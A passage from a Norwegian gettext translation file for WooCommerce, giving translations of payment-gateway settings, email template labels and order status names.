msgid "API credentials"
msgstr "API legitimasjon"
#: includes/gateways/paypal/includes/settings-paypal.php:65
msgid "Authorize"
msgstr "Autorisere"
#: includes/gateways/paypal/includes/settings-paypal.php:64
msgid "Capture"
msgstr "Hente"
#: includes/gateways/paypal/includes/settings-paypal.php:60
msgid "Choose whether you wish to capture funds immediately or authorize payment only."
msgstr "Velg om du vil hente midler umiddelbart eller kun autorisere betaling."
#: includes/gateways/paypal/includes/settings-paypal.php:57
msgid "Payment action"
msgstr "Betalingshandling"
#: includes/gateways/paypal/includes/settings-paypal.php:90
msgid "Address override"
msgstr "Overstyr adresse"
#: includes/gateways/paypal/includes/settings-paypal.php:85
msgid "Send shipping details to PayPal instead of billing."
msgstr "Send detaljer om leveringsadresse til PayPal i stedet for fakturaadresse."
#: includes/gateways/paypal/includes/settings-paypal.php:78
msgid "Please enter a prefix for your invoice numbers. If you use your PayPal account for multiple stores ensure this prefix is unique as PayPal will not allow orders with the same invoice number."
msgstr "Fyll inn et prefiks for deres fakturanumre. Hvis PayPal-kontoen brukes for flere butikker, påse at dette prefikset er unikt, siden PayPal ikke vil tillate ordrer med samme fakturanummer."
#: includes/gateways/paypal/includes/settings-paypal.php:76
msgid "Invoice prefix"
msgstr "Fakturaprefiks"
#: includes/gateways/paypal/includes/settings-paypal.php:141
msgid "Optionally enable \"Payment Data Transfer\" (Profile > Profile and Settings > My Selling Tools > Website Preferences) and then copy your identity token here. This will allow payments to be verified without the need for PayPal IPN."
msgstr "Slå eventuelt på \"Payment Dataoverføring\" (Profil > Profil og innstillinger> Mine Salgsverktøy > Nettstedspreferanser) og deretter kopier din identitetskode her. Dette vil tillate betalinger som skal verifiseres uten behov for PayPal IPN."
#: includes/gateways/paypal/includes/settings-paypal.php:139
msgid "PayPal identity token"
msgstr "PayPal Identitetsnøkkel"
#: includes/gateways/paypal/includes/settings-paypal.php:132
msgid "If your main PayPal email differs from the PayPal email entered above, input your main receiver email for your PayPal account here. This is used to validate IPN requests."
msgstr "Dersom din PayPal hoved e-postadresse er en annen enn PayPal e-posten lagt inn ovenfor, legg inn hoved e-postadressen for din PayPal konto her. Dette benyttes for å validere IPN-forespørsler."
#: includes/gateways/paypal/includes/settings-paypal.php:130
msgid "Receiver email"
msgstr "Mottaker e-post"
#: includes/gateways/paypal/includes/settings-paypal.php:44
msgid "Advanced options"
msgstr "Avanserte valg"
#: includes/gateways/paypal/includes/settings-paypal.php:99
#: src/Internal/Admin/Logging/Settings.php:111
msgid "Enable logging"
msgstr "Slå på logging"
#: includes/gateways/paypal/includes/settings-paypal.php:97
msgid "Debug log"
msgstr "Debug-logg"
#: includes/gateways/paypal/includes/settings-paypal.php:51
msgid "Enable PayPal sandbox"
msgstr "Slå på PayPal sandkasse"
#: includes/gateways/paypal/includes/settings-paypal.php:49
msgid "PayPal sandbox"
msgstr "PayPal sandbox"
#: includes/gateways/paypal/includes/settings-paypal.php:38
msgid "Please enter your PayPal email address; this is needed in order to take payment."
msgstr "Vennligst legg inn e-postadressen som du bruker for PayPal. Dette trengs for at du skal kunne betale."
#: includes/gateways/paypal/includes/settings-paypal.php:36
msgid "PayPal email"
msgstr "PayPal e-post"
#: includes/gateways/paypal/includes/settings-paypal.php:33
msgid "Pay via PayPal; you can pay with your credit card if you don't have a PayPal account."
msgstr "Betal via PayPal; du kan betale med kredittkortet ditt dersom du ikke har en PayPalkonto."
#: includes/gateways/paypal/includes/settings-paypal.php:32
msgid "This controls the description which the user sees during checkout."
msgstr "Dette styrer beskrivelsen kunden får i kassen."
#: includes/gateways/paypal/includes/settings-paypal.php:18
msgid "Enable PayPal Standard"
msgstr "Slå på PayPal Standard"
#. translators: %s: Order shipping method
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-request.php:1037
msgid "Shipping via %s"
msgstr "Forsendelse via %s"
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-pdt-handler.php:176
msgid "PDT payment completed"
msgstr "PDT-betaling fullført"
#. translators: 1: Payment amount
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-pdt-handler.php:166
msgid "Validation error: PayPal amounts do not match (amt %s)."
msgstr "Valideringsfeil: PayPal-beløp samsvarer ikke (beløp %s)."
#. translators: %1$s: order ID, %2$s: order link.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:338
msgid "Order #%1$s has had a reversal cancelled. Please check the status of payment and update the order status accordingly here: %2$s"
msgstr "Ordrenr. %1$s har hatt en tilbakeføring kansellert. Sjekk status for betaling og oppdater ordrestatus tilsvarende her: %2$s"
#. translators: %s: order link.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:336
msgid "Reversal cancelled for order #%s"
msgstr "Refusjon kansellert for ordrenr. %s"
#. translators: %1$s: order ID, %2$s: reason code.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:323
msgid "Order #%1$s has been marked on-hold due to a reversal - PayPal reason code: %2$s"
msgstr "Ordrenr. %1$s har blitt markert som på vent på grunn av en tilbakeføring - PayPals årsakskode: %2$s"
#. translators: %s: order link.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:321
msgid "Payment for order %s reversed"
msgstr "Betaling for ordrenr. %s reversert"
#. translators: %1$s: order ID, %2$s: reason code.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:304
msgid "Order #%1$s has been marked as refunded - PayPal reason code: %2$s"
msgstr "Ordrenr. %1$s har blitt merket som refundert - PayPals årsakskode: %2$s"
#. translators: %s: payment status.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:239
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:298
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:317
msgid "Payment %s via IPN."
msgstr "Betaling %s via IPN."
#. translators: %s: pending reason.
#. translators: 1: Pending reason
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:216
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-pdt-handler.php:183
msgid "Payment pending (%s)."
msgstr "Betaling på vent: %s."
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:210
msgid "IPN payment completed"
msgstr "IPN-betaling fullført"
#. translators: %s: email address .
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:178
msgid "Validation error: PayPal IPN response from a different email address (%s)."
msgstr "Valideringsfeil: PayPal IPN-respons fra en annen e-postadresse (%s)."
#. translators: %s: Amount.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:161
msgid "Validation error: PayPal amounts do not match (gross %s)."
msgstr "Valideringsfeil: PayPal-beløp samsvarer ikke (brutto %s)."
#. translators: %s: currency code.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:145
msgid "Validation error: PayPal currencies do not match (code %s)."
msgstr "Valideringsfeil: PayPal-valuta samsvarer ikke (kode %s)."
#. translators: 1: Refund amount, 2: Refund ID
#: includes/gateways/paypal/class-wc-gateway-paypal.php:688
msgid "Refunded %1$s - Refund ID: %2$s"
msgstr "Refundert %1$s - Refusjons-ID: %2$s"
#: includes/gateways/paypal/class-wc-gateway-paypal.php:544
msgid "PayPal Standard does not support your store currency."
msgstr "PayPal støtter ikke din butikkvaluta."
#: includes/gateways/paypal/class-wc-gateway-paypal.php:544
msgid "Gateway disabled"
msgstr "Port slått av"
#: includes/gateways/paypal/class-wc-gateway-paypal.php:420
msgid "What is PayPal?"
msgstr "Hva er PayPal?"
#: includes/gateways/paypal/class-wc-gateway-paypal.php:417
msgid "PayPal acceptance mark"
msgstr "PayPal Godkjenningsmerke"
#: includes/gateways/paypal/includes/settings-paypal.php:25
#: assets/client/blocks/wc-payment-method-paypal.js:1
msgid "PayPal"
msgstr "PayPal"
#: includes/gateways/paypal/class-wc-gateway-paypal.php:150
#: assets/client/blocks/wc-payment-method-paypal.js:1
msgid "Proceed to PayPal"
msgstr "Fortsett til PayPal"
#: includes/gateways/cod/class-wc-gateway-cod.php:319
msgid "Payment to be made upon delivery."
msgstr "Betaling skjer ved levering."
#: includes/gateways/cod/class-wc-gateway-cod.php:142
msgid "Accept COD if the order is virtual"
msgstr "Godta kontant-ved-levering hvis ordren er virtuelt"
#: includes/gateways/cod/class-wc-gateway-cod.php:141
#: assets/client/admin/chunks/settings-payments-cod.js:1
msgid "Accept for virtual orders"
msgstr "Godta for virtuelle ordre"
#: includes/gateways/cod/class-wc-gateway-cod.php:137
msgid "Select shipping methods"
msgstr "Velg leveringsmetoder"
#: includes/gateways/cod/class-wc-gateway-cod.php:133
msgid "If COD is only available for certain methods, set it up here. Leave blank to enable for all methods."
msgstr "Hvis kontant-ved-levering bare er tilgjengelig for visse metoder, sett det opp her. La stå tom for å slå på for alle metoder."
#: includes/gateways/cod/class-wc-gateway-cod.php:128
#: assets/client/admin/chunks/settings-payments-cod.js:1
msgid "Enable for shipping methods"
msgstr "Slå på for fraktmåter"
#: includes/gateways/cod/class-wc-gateway-cod.php:123
msgid "Instructions that will be added to the thank you page."
msgstr "Instruksjoner som blir vist på \"takk\"-siden."
#: includes/gateways/cod/class-wc-gateway-cod.php:117
#: includes/gateways/cod/class-wc-gateway-cod.php:124
msgid "Pay with cash upon delivery."
msgstr "Betal kontant ved levering."
#: includes/gateways/cod/class-wc-gateway-cod.php:116
msgid "Payment method description that the customer will see on your website."
msgstr "Beskrivelse av betalingsmåten, som kunden ser på nettsiden din."
#: includes/gateways/cheque/class-wc-gateway-cheque.php:91
msgid "Please send a check to Store Name, Store Street, Store Town, Store State / County, Store Postcode."
msgstr "Vennligst send din sjekk til postadressen vår."
#: includes/gateways/cheque/class-wc-gateway-cheque.php:77
#: assets/client/admin/chunks/settings-payments-cheque.js:1
msgid "Enable check payments"
msgstr "Slå på sjekkbetalinger"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:478
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "Branch code"
msgstr "Avdelingskode"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:473
#: includes/gateways/class-wc-payment-gateway-echeck.php:49
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "Routing number"
msgstr "Rutingsnummer"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:463
#: includes/gateways/bacs/class-wc-gateway-bacs.php:468
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "Bank code"
msgstr "Bankkode"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:458
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "Branch sort"
msgstr "Avdelingstype"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:453
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "IFSC"
msgstr "IFSC"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:448
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "Bank transit number"
msgstr "Bank transit nummer"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:443
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "BSB"
msgstr "BSB"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:412
msgid "Awaiting BACS payment"
msgstr "Ventende BACS-betaling"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:367
msgid "BIC"
msgstr "BIC"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:385
msgid "Our bank details"
msgstr "Våre bankdetaljer"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:198
msgid "Remove selected account(s)"
msgstr "Fjern valgte konto(er)"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:198
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "+ Add account"
msgstr "+ Legg til konto"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:173
#: assets/client/admin/chunks/5875.js:1
msgid "BIC / Swift"
msgstr "BIC / Swift"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:172
#: includes/gateways/bacs/class-wc-gateway-bacs.php:363
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "IBAN"
msgstr "IBAN"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:170
#: assets/client/admin/chunks/5875.js:1
msgid "Bank name"
msgstr "Banknavn"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:169
#: includes/gateways/bacs/class-wc-gateway-bacs.php:355
#: includes/gateways/class-wc-payment-gateway-echeck.php:53
#: assets/client/admin/chunks/5875.js:1
msgid "Account number"
msgstr "Kontonummer"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:168
#: assets/client/admin/chunks/5875.js:1
msgid "Account name"
msgstr "Kontonavn"
#: includes/class-wc-query.php:144 includes/wc-account-functions.php:112
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "Account details"
msgstr "Kontodetaljer"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:152
#: includes/gateways/bacs/class-wc-gateway-bacs.php:329
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/settings-payments-bacs.js:1
msgid "Sort code"
msgstr "Sort code"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:128
#: includes/gateways/cheque/class-wc-gateway-cheque.php:97
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/chunks/settings-payments-cheque.js:1
#: assets/client/admin/chunks/settings-payments-cod.js:1
msgid "Instructions that will be added to the thank you page and emails."
msgstr "Instruksjoner som vil bli lagt til takkeside og e-poster."
#: includes/gateways/bacs/class-wc-gateway-bacs.php:126
#: includes/gateways/cheque/class-wc-gateway-cheque.php:95
#: includes/gateways/cod/class-wc-gateway-cod.php:121
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/chunks/settings-payments-cheque.js:1
#: assets/client/admin/chunks/settings-payments-cod.js:1
msgid "Instructions"
msgstr "Instruksjoner"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:122
msgid "Make your payment directly into our bank account. Please use your Order ID as the payment reference. Your order will not be shipped until the funds have cleared in our account."
msgstr "Betal direkte til vår bankkonto. Bruk ordrenummeret ditt som betalingsreferanse. Ordren din sendes når vi har mottatt betalingen din på vår konto."
#: includes/gateways/bacs/class-wc-gateway-bacs.php:121
#: includes/gateways/cheque/class-wc-gateway-cheque.php:90
#: includes/gateways/cod/class-wc-gateway-cod.php:109
msgid "Payment method description that the customer will see on your checkout."
msgstr "Beskrivelse av betalingsmåten, som kunden vil se i kassen."
#: includes/gateways/bacs/class-wc-gateway-bacs.php:63
#: includes/gateways/bacs/class-wc-gateway-bacs.php:115
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:183
#: src/Internal/Admin/EmailPreview/EmailPreview.php:390
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/blocks/wc-payment-method-bacs.js:1
msgid "Direct bank transfer"
msgstr "Direkte bankoverføring"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:114
#: includes/gateways/cheque/class-wc-gateway-cheque.php:83
#: includes/gateways/paypal/includes/settings-paypal.php:24
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:29
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:107
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:140
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:111
#: src/Blocks/Shipping/ShippingController.php:246
msgid "This controls the title which the user sees during checkout."
msgstr "Dette styrer hvilken tittel brukeren ser i kassen."
#: includes/admin/importers/mappings/generic.php:21
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:79
#: includes/gateways/bacs/class-wc-gateway-bacs.php:112
#: includes/gateways/cheque/class-wc-gateway-cheque.php:81
#: includes/gateways/cod/class-wc-gateway-cod.php:107
#: includes/gateways/paypal/includes/settings-paypal.php:22
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:138
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:109
#: includes/widgets/class-wc-widget-cart.php:30
#: includes/widgets/class-wc-widget-layered-nav-filters.php:28
#: includes/widgets/class-wc-widget-layered-nav.php:77
#: includes/widgets/class-wc-widget-price-filter.php:32
#: includes/widgets/class-wc-widget-product-categories.php:44
#: includes/widgets/class-wc-widget-product-search.php:28
#: includes/widgets/class-wc-widget-product-tag-cloud.php:30
#: includes/widgets/class-wc-widget-products.php:30
#: includes/widgets/class-wc-widget-rating-filter.php:28
#: includes/widgets/class-wc-widget-recent-reviews.php:28
#: includes/widgets/class-wc-widget-recently-viewed.php:30
#: includes/widgets/class-wc-widget-top-rated-products.php:29
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/chunks/settings-payments-cheque.js:1
#: assets/client/admin/chunks/settings-payments-cod.js:1
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "Title"
msgstr "Tittel"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:108
msgid "Enable bank transfer"
msgstr "Slå på bankoverføring"
#: includes/emails/class-wc-email.php:1516
msgid "Are you sure you want to delete this template file?"
msgstr "Er du sikker på at du vil slette denne malfilen?"
#: includes/emails/class-wc-email.php:1502
msgid "Hide template"
msgstr "Skjul mal"
#: includes/emails/class-wc-email.php:1501
msgid "View template"
msgstr "Vis mal"
#: includes/emails/class-wc-email.php:1477
msgid "File was not found."
msgstr "Fil ikke funnet."
#: includes/emails/class-wc-email.php:1463
msgid "Copy file to theme"
msgstr "Kopier fil til tema"
#. translators: %s: Path to template file
#: includes/emails/class-wc-email.php:1430
msgid "This template has been overridden by your theme and can be found in: %s."
msgstr "Denne malen har blitt overstyrt av temaet ditt og kan finnes i: %s."
#: includes/emails/class-wc-email.php:1424
msgid "Delete template file"
msgstr "Slett malfil"
#: includes/emails/class-wc-email.php:1400
msgid "Plain text template"
msgstr "Mal for ren tekst"
#: includes/emails/class-wc-email.php:1399
msgid "HTML template"
msgstr "HTML-mal"
#: includes/emails/class-wc-email.php:1318
msgid "Template file deleted from theme."
msgstr "Malfil slettet fra tema."
#: includes/emails/class-wc-email.php:1285
msgid "Template file copied to theme."
msgstr "Malfil kopiert til tema."
#: includes/emails/class-wc-email.php:1236
msgid "Could not write to template file."
msgstr "Kunne ikke skrive til malfilen."
#: includes/emails/class-wc-email.php:1171
msgid "Multipart"
msgstr "Flerdelt"
#: includes/emails/class-wc-email.php:1170
msgid "HTML"
msgstr "HTML"
#: includes/emails/class-wc-email.php:1167
msgid "Plain text"
msgstr "Ren tekst"
#: includes/emails/class-wc-email-new-order.php:60
msgid "New order emails are sent to chosen recipient(s) when a new order is received."
msgstr "'Ny ordre' e-postene sendes til valgte mottakere når en ny ordre er mottatt."
#: includes/class-wc-post-types.php:470
#: includes/emails/class-wc-email-new-order.php:33
msgid "New order"
msgstr "Ny ordre"
#: includes/emails/class-wc-email-customer-reset-password.php:62
#: templates/myaccount/form-lost-password.php:38
msgid "Reset password"
msgstr "Tilbakestill passord"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:344
#: includes/emails/class-wc-email-customer-refunded-order.php:325
msgid "Partial refund email heading"
msgstr "Delvis refundert e-postoverskrift"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:336
#: includes/emails/class-wc-email-customer-refunded-order.php:317
msgid "Full refund email heading"
msgstr "Fullt refundert e-postoverskrift"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:328
#: includes/emails/class-wc-email-customer-refunded-order.php:309
msgid "Partial refund subject"
msgstr "Delvis refundert emne"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:320
#: includes/emails/class-wc-email-customer-refunded-order.php:301
msgid "Full refund subject"
msgstr "Fullt refundert emne"
#: includes/emails/class-wc-email-customer-refunded-order.php:67
msgid "Order refunded emails are sent to customers when their orders are refunded."
msgstr "Ordre-refundert e-post blir sendt til kunder når deres ordre er merket refundert."
#: includes/emails/class-wc-email-customer-refunded-order.php:48
msgid "Refunded order"
msgstr "Refunder ordre"
#: includes/emails/class-wc-email-customer-refunded-order.php:81
msgid "Your {site_title} order #{order_number} has been refunded"
msgstr "Din ordre nr. {order_number} hos {site_title} er refundert"
#: includes/emails/class-wc-email-customer-refunded-order.php:79
msgid "Your {site_title} order #{order_number} has been partially refunded"
msgstr "Din ordre nr. {order_number} hos {site_title} er delvis refundert"
#: includes/emails/class-wc-email-customer-on-hold-order.php:72
#: includes/emails/class-wc-email-customer-processing-order.php:74
#: templates/emails/block/customer-on-hold-order.php:27
#: templates/emails/block/customer-processing-order.php:27
msgid "Thank you for your order"
msgstr "Takk for ordren"
#: includes/emails/class-wc-email-customer-processing-order.php:54
msgid "This is an order notification sent to customers containing order details after payment."
msgstr "Dette er en melding med ordredetaljene som sendes til kunder etter betaling."
#: includes/emails/class-wc-email-customer-processing-order.php:33
msgid "Processing order"
msgstr "Behandler ordre"
#: includes/emails/class-wc-email-customer-note.php:79
#: templates/emails/block/customer-note.php:27
msgid "A note has been added to your order"
msgstr "Et notat er lagt til ordren din"
#: includes/emails/class-wc-email-customer-note.php:69
msgid "Note added to your {site_title} order from {order_date}"
msgstr "Notat lagt til {site_title}-ordren din fra {order_date}"
#: includes/emails/class-wc-email-customer-note.php:57
msgid "Customer note emails are sent when you add a note to an order."
msgstr "E-post med kundenotater sendes når du legger til et notat i en ordre."
#: includes/emails/class-wc-email-customer-note.php:39
#: templates/emails/email-order-details.php:135
msgid "Customer note"
msgstr "Kundenotat"
#: includes/emails/class-wc-email-customer-new-account.php:92
msgid "Welcome to {site_title}"
msgstr "Velkommen til {site_title}"
#: includes/emails/class-wc-email-customer-new-account.php:67
msgid "New account"
msgstr "Ny konto"
#: includes/emails/class-wc-email-customer-invoice.php:228
msgid "Email heading (paid)"
msgstr "E-post overskrift (betalt)"
#: includes/emails/class-wc-email-customer-invoice.php:52
msgid "Order detail emails can be sent to customers containing their order information and payment links."
msgstr "E-poster med ordredetaljer kan bli sendt til kunder og inneholder ordreinformasjon og betalingslenker."
#: includes/emails/class-wc-email-customer-completed-order.php:50
msgid "Order complete emails are sent to customers when their orders are marked completed and usually indicate that their orders have been shipped."
msgstr "\"Ordre fullført e-postene\" blir sendt til kunder når deres ordre er merket fullført og vil vanligvis indikerer at deres ordre har blitt sendt."
#: includes/emails/class-wc-email-customer-completed-order.php:32
msgid "Completed order"
msgstr "Fullført ordre"
#: includes/emails/class-wc-email-cancelled-order.php:223
#: includes/emails/class-wc-email-customer-cancelled-order.php:213
#: includes/emails/class-wc-email-customer-invoice.php:247
#: includes/emails/class-wc-email-customer-pos-completed-order.php:232
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:363
#: includes/emails/class-wc-email-customer-refunded-order.php:344
#: includes/emails/class-wc-email-failed-order.php:224
#: includes/emails/class-wc-email-new-order.php:252
#: includes/emails/class-wc-email.php:1114
msgid "Choose which format of email to send."
msgstr "Velg hvilket e-postformat å sende med."
#: includes/emails/class-wc-email-cancelled-order.php:221
#: includes/emails/class-wc-email-customer-cancelled-order.php:211
#: includes/emails/class-wc-email-customer-invoice.php:245
#: includes/emails/class-wc-email-customer-pos-completed-order.php:230
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:361
#: includes/emails/class-wc-email-customer-refunded-order.php:342
#: includes/emails/class-wc-email-failed-order.php:222
#: includes/emails/class-wc-email-new-order.php:250
#: includes/emails/class-wc-email.php:1112
msgid "Email type"
msgstr "E-post type"
#: includes/emails/class-wc-email-cancelled-order.php:204
#: includes/emails/class-wc-email-customer-cancelled-order.php:194
#: includes/emails/class-wc-email-customer-invoice.php:212
#: includes/emails/class-wc-email-customer-pos-completed-order.php:213
#: includes/emails/class-wc-email-failed-order.php:205
#: includes/emails/class-wc-email-new-order.php:233
#: includes/emails/class-wc-email.php:1095
msgid "Email heading"
msgstr "E-post overskrift"
#: includes/emails/class-wc-email-cancelled-order.php:196
#: includes/emails/class-wc-email-customer-cancelled-order.php:186
#: includes/emails/class-wc-email-customer-invoice.php:204
#: includes/emails/class-wc-email-customer-pos-completed-order.php:205
#: includes/emails/class-wc-email-failed-order.php:197
#: includes/emails/class-wc-email-new-order.php:225
#: includes/emails/class-wc-email.php:1087
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "Subject"
msgstr "Emne"
#. translators: %s: admin email
#. translators: %s: WP admin email
#: includes/emails/class-wc-email-cancelled-order.php:190
#: includes/emails/class-wc-email-failed-order.php:191
#: includes/emails/class-wc-email-new-order.php:219
msgid "Enter recipients (comma separated) for this email. Defaults to %s."
msgstr "Fyll inn mottakere (kommaseparert) for denne e-posten. Standard er %s."
#: includes/admin/settings/class-wc-settings-emails.php:430
#: includes/emails/class-wc-email-cancelled-order.php:187
#: includes/emails/class-wc-email-failed-order.php:188
#: includes/emails/class-wc-email-new-order.php:216
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Recipient(s)"
msgstr "Mottaker(e)"
#: includes/emails/class-wc-email-cancelled-order.php:183
#: includes/emails/class-wc-email-customer-cancelled-order.php:182
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:316
#: includes/emails/class-wc-email-customer-refunded-order.php:297
#: includes/emails/class-wc-email-failed-order.php:184
#: includes/emails/class-wc-email-new-order.php:212
#: includes/emails/class-wc-email.php:1083
msgid "Enable this email notification"
msgstr "Slå på dette e-postvarselet"
#: includes/emails/class-wc-email-cancelled-order.php:181
#: includes/emails/class-wc-email-customer-cancelled-order.php:180
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:314
#: includes/emails/class-wc-email-customer-refunded-order.php:295
#: includes/emails/class-wc-email-failed-order.php:182
#: includes/emails/class-wc-email-new-order.php:210
#: includes/emails/class-wc-email.php:1081
#: includes/gateways/bacs/class-wc-gateway-bacs.php:106
#: includes/gateways/cheque/class-wc-gateway-cheque.php:75
#: includes/gateways/cod/class-wc-gateway-cod.php:100
#: includes/gateways/paypal/includes/settings-paypal.php:16
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:21
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:99
msgid "Enable/Disable"
msgstr "Slå på/av"
#: includes/emails/class-wc-email-failed-order.php:52
msgid "Failed order emails are sent to chosen recipient(s) when orders have been marked failed (if they were previously pending or on-hold)."
msgstr "\"Mislykket ordre\" e-poster sendes vagt(e) mottakere(e) når ordrer har blitt markerert som mislykket (om de tidligere var under behandling eller på vent)."
#: includes/emails/class-wc-email-cancelled-order.php:33
#: includes/emails/class-wc-email-customer-cancelled-order.php:34
msgid "Cancelled order"
msgstr "Kansellert ordre"
#. translators: %s: order number
#. translators: %s: order ID
#. translators: %s: Order ID.
#: includes/class-wc-query.php:138 src/Internal/Admin/Orders/ListTable.php:1692
#: templates/emails/email-fulfillment-details.php:73
#: templates/emails/email-order-details.php:63
#: templates/emails/plain/email-fulfillment-details.php:61
msgid "Order #%s"
msgstr "Ordrenr. %s"
#: includes/class-wc-product-variable.php:79
msgid "Select options"
msgstr "Velg alternativ"
#. translators: %s: number of orders
#. translators: %s: count
#: includes/class-wc-post-types.php:695
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostStatusRegistrar.php:43
msgid "Failed <span class=\"count\">(%s)</span>"
msgid_plural "Failed <span class=\"count\">(%s)</span>"
msgstr[0] "Mislykket <span class=\"count\">(%s)</span>"
msgstr[1] "Mislykket <span class=\"count\">(%s)</span>"
#: includes/class-wc-post-types.php:689 includes/wc-order-functions.php:111
msgctxt "Order status"
msgid "Failed"
msgstr "Mislyktes"
#. translators: %s: number of orders
#: includes/class-wc-post-types.php:686
msgid "Refunded <span class=\"count\">(%s)</span>"
msgid_plural "Refunded <span class=\"count\">(%s)</span>"
msgstr[0] "Refundert <span class=\"count\">(%s)</span>"
msgstr[1] "Refundert <span class=\"count\">(%s)</span>"
#: includes/class-wc-post-types.php:680 includes/wc-order-functions.php:110
msgctxt "Order status"
msgid "Refunded"
msgstr "Refundert"
#. translators: %s: number of orders
#: includes/class-wc-post-types.php:677
msgid "Cancelled <span class=\"count\">(%s)</span>"
msgid_plural "Cancelled <span class=\"count\">(%s)</span>"
msgstr[0] "Kansellert <span class=\"count\">(%s)</span>"
msgstr[1] "Kansellerte <span class=\"count\">(%s)</span>"
#: includes/class-wc-post-types.php:671 includes/wc-order-functions.php:109
msgctxt "Order status"
msgid "Cancelled"
msgstr "Kansellert"
#. translators: %s: number of orders
#: includes/class-wc-post-types.php:668
msgid "Completed <span class=\"count\">(%s)</span>"
msgid_plural "Completed <span class=\"count\">(%s)</span>"
msgstr[0] "Fullført <span class=\"count\">(%s)</span>"
msgstr[1] "Fullført <span class=\"count\">(%s)</span>"
#: includes/class-wc-post-types.php:662 includes/wc-order-functions.php:108
msgctxt "Order status"
msgid "Completed"
msgstr "Fullført"
#. translators: %s: number of orders
#: includes/class-wc-post-types.php:659
msgid "On hold <span class=\"count\">(%s)</span>"
msgid_plural "On hold <span class=\"count\">(%s)</span>"
msgstr[0] "På vent <span class=\"count\">(%s)</span>"
msgstr[1] "På vent <span class=\"count\">(%s)</span>"
#: includes/class-wc-post-types.php:653 includes/wc-order-functions.php:107
msgctxt "Order status"
msgid "On hold"
msgstr "På vent"
#. translators: %s: number of orders
#: includes/class-wc-post-types.php:650
msgid "Processing <span class=\"count\">(%s)</span>"
msgid_plural "Processing <span class=\"count\">(%s)</span>"
msgstr[0] "Behandler <span class=\"count\">(%s)</span>"
msgstr[1] "Behandler <span class=\"count\">(%s)</span>"
#: includes/class-wc-post-types.php:644 includes/wc-order-functions.php:106
msgctxt "Order status"
